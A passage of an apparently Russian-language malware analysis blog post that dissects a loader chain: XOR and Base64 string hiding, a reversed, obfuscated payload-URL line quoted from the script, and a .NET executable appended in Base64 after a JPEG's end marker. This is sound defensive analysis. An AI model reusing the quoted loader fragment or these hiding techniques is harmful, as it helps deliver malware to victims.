\u043d\u0430\u043b\u043e\u0436\u0435\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u044b\u0439 XOR \u0441 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u043e\u0439 0x72<\/code>. \u0421\u0442\u043e \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0432 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u043e\u043c \u0432\u0438\u0434\u0435 \u2014 \u044d\u0442\u043e ASCII-\u043a\u043e\u0434 \u0431\u0443\u043a\u0432\u044b r<\/code>, \u043d\u043e \u044d\u0442\u043e \u043d\u0438 \u043d\u0430 \u0447\u0442\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442, \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0430\u044f \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u0430.<\/p>\n
\u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0435\u0449\u0451 \u043f\u0440\u043e\u0449\u0435: \u0441\u043d\u044f\u0442\u044c Base64, \u0441\u043d\u044f\u0442\u044c XOR, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443. \u0412 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043e\u043d \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d \u043a\u0430\u043a \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441 \u0434\u043b\u0438\u043d\u043d\u044b\u043c \u043d\u0435\u0432\u043d\u044f\u0442\u043d\u044b\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u0432\u0440\u043e\u0434\u0435 _voogh<\/code>. \u0420\u044f\u0434\u043e\u043c \u0441 \u043d\u0435\u0439 \u2014 \u043f\u0430\u0440\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0441 \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0432\u0440\u043e\u0434\u0435 1344<\/code> \u0438 'FbkSIhdm'<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043d\u0438\u0433\u0434\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f. \u0415\u0449\u0451 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0439 \u0434\u0435\u043a\u043e\u0440\u0430\u0446\u0438\u0439.<\/p>\n
\u041f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e XOR \u0441 \u043e\u0434\u043d\u0438\u043c \u0431\u0430\u0439\u0442\u043e\u043c \u2014 \u044d\u0442\u043e \u0434\u0430\u0436\u0435 \u043d\u0435 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f, \u044d\u0442\u043e \u0433\u0438\u0433\u0438\u0435\u043d\u0430. \u0421\u043c\u044b\u0441\u043b \u0432 \u0442\u043e\u043c \u0436\u0435, \u0447\u0442\u043e \u0438 \u0441 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u043c \u0430\u043b\u0444\u0430\u0432\u0438\u0442\u043e\u043c \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0441\u043b\u043e\u0435: \u0443\u0431\u0440\u0430\u0442\u044c \u0443\u0437\u043d\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043f\u043e\u0438\u0441\u043a \u043f\u043e http:\/\/<\/code><\/a> \u0438\u043b\u0438 <<STT>><\/code> \u0432 \u0442\u0435\u043b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u0451\u043b. \u041e\u0442 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u044d\u0442\u043e \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442, \u043d\u043e \u043e\u0442 \u0431\u0435\u0433\u043b\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u2014 \u0432\u043f\u043e\u043b\u043d\u0435.<\/p>\n
\u0418 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0434\u0435\u0442\u0430\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043d\u043e\u0433\u043e\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043f\u0440\u043e \u0441\u0442\u0438\u043b\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043b\u043e\u0430\u0434\u0435\u0440\u0430. \u0410\u0434\u0440\u0435\u0441 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u2014 \u0442\u043e\u0433\u043e \u0441\u0430\u043c\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0437\u0436\u0435 \u2014 \u0437\u0430\u0448\u0438\u0442 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u0438\u0437\u0443\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435. \u0421\u0442\u0440\u043e\u043a\u0430 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430 \u0437\u0430\u0434\u043e\u043c \u043d\u0430\u043f\u0435\u0440\u0451\u0434, \u043a \u043d\u0435\u0439 \u043f\u0440\u0438\u043a\u043b\u0435\u0435\u043d \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0439 \u0445\u0432\u043e\u0441\u0442 \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432, \u0438 \u043d\u0430 \u043a\u043e\u043d\u0446\u0435 \u043d\u0435\u0442 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u043e\u0433\u043e http<\/code>. \u0421\u0445\u0435\u043c\u0430 \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u0436\u0435 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0441\u043b\u043e\u0435.<\/p>\n
$b3 = 'txt.dmfdjbd\/lpxs\/moc.fnqpdt.dn\/\/:gsfkgfhfsfsd'<\/code>
<\/span><\/a><\/div><\/pre>\n
\u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0432\u0441\u0451 \u0442\u0430 \u0436\u0435: \u0447\u0442\u043e\u0431\u044b \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u0431\u044b\u043b\u043e \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0443\u0434\u0430 \u0432\u0435\u0434\u0451\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0430. \u0420\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0438\u0441\u043a\u043e\u043c. \u041c\u0443\u0441\u043e\u0440\u043d\u044b\u0439 \u0445\u0432\u043e\u0441\u0442 \u043c\u0435\u0448\u0430\u0435\u0442 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0435\u0451 \u043a\u0430\u043a \u0435\u0441\u0442\u044c. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0445\u0435\u043c\u044b \u2014 \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b \u0441\u0430\u043c\u044b\u0439 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u043a\u0442 \u043f\u043e http:\/\/<\/code><\/a> \u0438 https:\/\/<\/code><\/a>.<\/p>\n
\u0412\u0441\u044f \u044d\u0442\u0430 \u0432\u043e\u0437\u043d\u044f \u0440\u0430\u0437\u0432\u0430\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u043e\u0434\u043d\u0443 \u043c\u0438\u043d\u0443\u0442\u0443, \u0435\u0441\u043b\u0438 \u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u0441\u043a\u0430\u0442\u044c. \u041d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0438 \u043d\u0435 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043b, \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e. \u041e\u043d \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043b \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0432\u043e\u043e\u0431\u0449\u0435 \u2014 \u0438 \u0432 \u044d\u0442\u043e\u043c, \u0435\u0441\u043b\u0438 \u0447\u0435\u0441\u0442\u043d\u043e, \u043e\u043d \u043f\u0440\u0430\u0432 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u0431\u044b.<\/p>\n
\u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435: \u0442\u0430 \u0441\u0430\u043c\u0430\u044f \u00ab\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043a\u0430\u0447\u0430\u043b.<\/p>\n
\u0421\u043b\u043e\u0439 4. \u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430<\/h2>\n
\"1.jpg\"<\/p>\n
1.jpg<\/code><\/figcaption><\/div>\n<\/figure>\n
\u0418\u0442\u0430\u043a, \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043a\u0430\u0447\u0430\u043b 1.jpg<\/code>. \u0424\u0430\u0439\u043b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0439\u043d\u044b\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c, \u043e\u043d \u043d\u0435 \u0431\u0438\u0442\u044b\u0439, \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u043f\u0440\u0438\u044f\u0442\u043d\u0430\u044f \u0433\u043b\u0430\u0437\u0443, \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0435 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0439\u0442\u044b FF D8 FF<\/code> \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0438 FF D9<\/code> \u0432 \u043a\u043e\u043d\u0446\u0435. \u041e\u0431\u044b\u0447\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430. \u041f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0448\u044c \u043d\u0430 \u0435\u0451 \u0440\u0430\u0437\u043c\u0435\u0440.<\/p>\n
\u041a\u0430\u043a \u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u043b 1.jpg<\/code>?<\/p>\n
\n\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/summary>\n
\n
\u0412\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043c\u043d\u043e\u0433\u043e, \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0442\u0430\u043a\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443: \u0431\u0440\u0430\u0443\u0437\u0435\u0440 (linuxserver\/chromium<\/code>) \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435 \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c VPS \u0438 \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 Tor. \u0421\u0435\u0440\u0432\u0435\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0432\u0438\u0434\u0438\u0442 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0443\u0437\u0435\u043b Tor, \u0430 \u043d\u0435 \u043c\u043e\u0439 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0438 \u043d\u0435 \u0430\u0434\u0440\u0435\u0441 VPS. \u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0434\u0430\u0451\u0442 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443, \u0433\u0434\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441 \u043d\u0443\u0436\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438. \u0421\u0430\u043c \u0444\u0430\u0439\u043b \u044f \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b \u0438 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b, \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b \u043a\u0430\u043a \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n
\u0412 \u0446\u0435\u043b\u043e\u043c \u0445\u0432\u0430\u0442\u0438\u043b\u043e \u0431\u044b \u0438 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043ecurl<\/code> \u0447\u0435\u0440\u0435\u0437 Tor.<\/p>\n<\/div>\n<\/details>\n
<\/figure>\n
\"\u0410<\/p>\n
\u0410 \u0432\u043e\u0442 \u0438 \u043d\u0430\u0448 <<STT>><\/figcaption><\/div>\n<\/figure>\n
\"\u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f<\/p>\n
\u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043f\u0430\u0440\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0432\u0435\u0441\u043e\u043c\u0430\u044f<\/figcaption><\/div>\n<\/figure>\n
\u0421\u0440\u0430\u0437\u0443 \u0432\u0430\u0436\u043d\u043e\u0435 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0435\u0433\u043e \u0447\u0430\u0441\u0442\u043e \u043f\u0443\u0442\u0430\u044e\u0442. \u0422\u043e, \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442, \u2014 \u044d\u0442\u043e \u043d\u0435 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f<\/strong>. \u0421\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f \u2014 \u044d\u0442\u043e \u043a\u043e\u0433\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u044f\u0447\u0443\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0438\u043a\u0441\u0435\u043b\u0435\u0439: \u043c\u0435\u043d\u044f\u044e\u0442 \u043c\u043b\u0430\u0434\u0448\u0438\u0435 \u0431\u0438\u0442\u044b \u0446\u0432\u0435\u0442\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0433\u043b\u0430\u0437\u043e\u043c \u043d\u0435 \u0432\u0438\u0434\u043d\u043e, \u043d\u043e \u0434\u0435\u043a\u043e\u0434\u0435\u0440 \u0437\u043d\u0430\u0435\u0442, \u0433\u0434\u0435 \u0438\u0441\u043a\u0430\u0442\u044c. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0443\u0436\u0435\u043d \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043d\u0438\u044f \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f.<\/p>\n
\u0417\u0434\u0435\u0441\u044c \u0432\u0441\u0451 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u043f\u0440\u043e\u0449\u0435. \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043d\u0446\u0430 \u0444\u0430\u0439\u043b\u0430 \u2014 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u0441\u0430\u043c\u043e\u0433\u043e FF D9<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u00ab\u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b\u0430\u0441\u044c\u00bb \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u043d \u043a\u0443\u0441\u043e\u043a \u0442\u0435\u043a\u0441\u0442\u0430. \u0424\u043e\u0440\u043c\u0430\u0442 JPEG, \u043a\u0430\u043a \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432, \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u0430\u043a, \u0447\u0442\u043e \u0434\u0435\u043a\u043e\u0434\u0435\u0440\u044b \u0447\u0438\u0442\u0430\u044e\u0442 \u0434\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430 \u043a\u043e\u043d\u0446\u0430 \u0438 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442 \u0432\u0441\u0451, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435. \u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u0442\u0441\u044f, \u043f\u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u0442. \u0410 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442 \u00ab\u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 \u043b\u0438 \u044d\u0442\u043e JPEG\u00bb, \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u043e\u0442\u0432\u0435\u0442 \u00ab\u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439\u00bb \u0438 \u043f\u043e\u0439\u0434\u0451\u0442 \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n
\u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 append \u0442\u0430\u043a \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0435\u043d \u0443 \u043c\u0430\u043b\u0432\u0430\u0440\u0438. \u041e\u043d \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043d\u0438 \u0442\u043e\u043d\u043a\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u0432 \u043a\u043e\u043d\u0435\u0446 \u0444\u0430\u0439\u043b\u0430. \u0418 \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u00ab\u0444\u0430\u0439\u043b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u00bb \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442.  \u041d\u043e \u0432\u0430\u0436\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c: \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0443\u0436\u0435\u043d \u043b\u043e\u0430\u0434\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u043d\u0430\u0435\u0442 \u043f\u0440\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u044b.<\/p>\n
\"<<STT>>\"<\/p>\n
<<STT>><\/figcaption><\/div>\n<\/figure>\n
\"<<D>>,<\/p>\n
<<D>>, \u0430 \u0435\u0449\u0435 \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 AAAAAAAAAA==<\/figcaption><\/div>\n<\/figure>\n
\u00a0\u041c\u0435\u0436\u0434\u0443 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438 <<STT>><\/code> \u0438 <<D>><\/code> \u043b\u0435\u0436\u0438\u0442 Base64. \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f PE-\u0444\u0430\u0439\u043b \u2014 \u0441\u0431\u043e\u0440\u043a\u0430 .NET \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043e\u043a\u043e\u043b\u043e 67 \u043a\u0438\u043b\u043e\u0431\u0430\u0439\u0442. \u0422\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 myprogram.exe<\/code>, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0448\u043b\u0430 \u0440\u0435\u0447\u044c \u0432 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u0441\u043b\u043e\u0435.<\/p>\n
\u00a0<\/p>\n
\"MZ<\/p>\n
MZ — \u0434\u0432\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0433\u043e\u0432\u043e\u0440\u044f\u0442, \u0447\u0442\u043e \u0442\u044b \u0438\u0434\u0435\u0448\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e.<\/figcaption><\/div>\n<\/figure>\n
\u0421\u0431\u043e\u0440\u043a\u0430 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u0430 SmartAssembly \u2014 \u044d\u0442\u043e \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0442\u043e\u0440 \u0434\u043b\u044f .NET, \u0438 \u0435\u0433\u043e \u043f\u043e\u0447\u0435\u0440\u043a \u0443\u0437\u043d\u0430\u0451\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443, \u0435\u0441\u043b\u0438 \u0445\u043e\u0442\u044c \u0440\u0430\u0437 \u0432\u0438\u0434\u0435\u043b. \u041c\u0435\u0442\u043e\u0434\u044b \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u044b \u0442\u0430\u043a, \u0447\u0442\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438 \u0442\u0435\u043c \u0436\u0435 \u0441\u043b\u043e\u0432\u043e\u043c \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430\u043c\u0438-\u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u0430\u043c\u0438. \u041a\u043b\u0430\u0441\u0441\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u00ab\u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0435\u00bb \u0438\u043c\u0435\u043d\u0430 \u0432\u0440\u043e\u0434\u0435 MemoryMapper<\/code>, ConnectionInvoker<\/code>, DeviceScope<\/code> \u2014 \u043f\u043e \u043d\u0438\u043c \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f \u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438, \u043d\u043e \u043d\u0435 \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e. \u0421\u0442\u0440\u043e\u043a\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 \u0440\u0435\u0441\u0443\u0440\u0441\u0435 \u0441\u0431\u043e\u0440\u043a\u0438. \u041f\u043e\u0442\u043e\u043a \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0442\u0430\u043d \u0432\u0441\u0442\u0430\u0432\u043a\u0430\u043c\u0438, 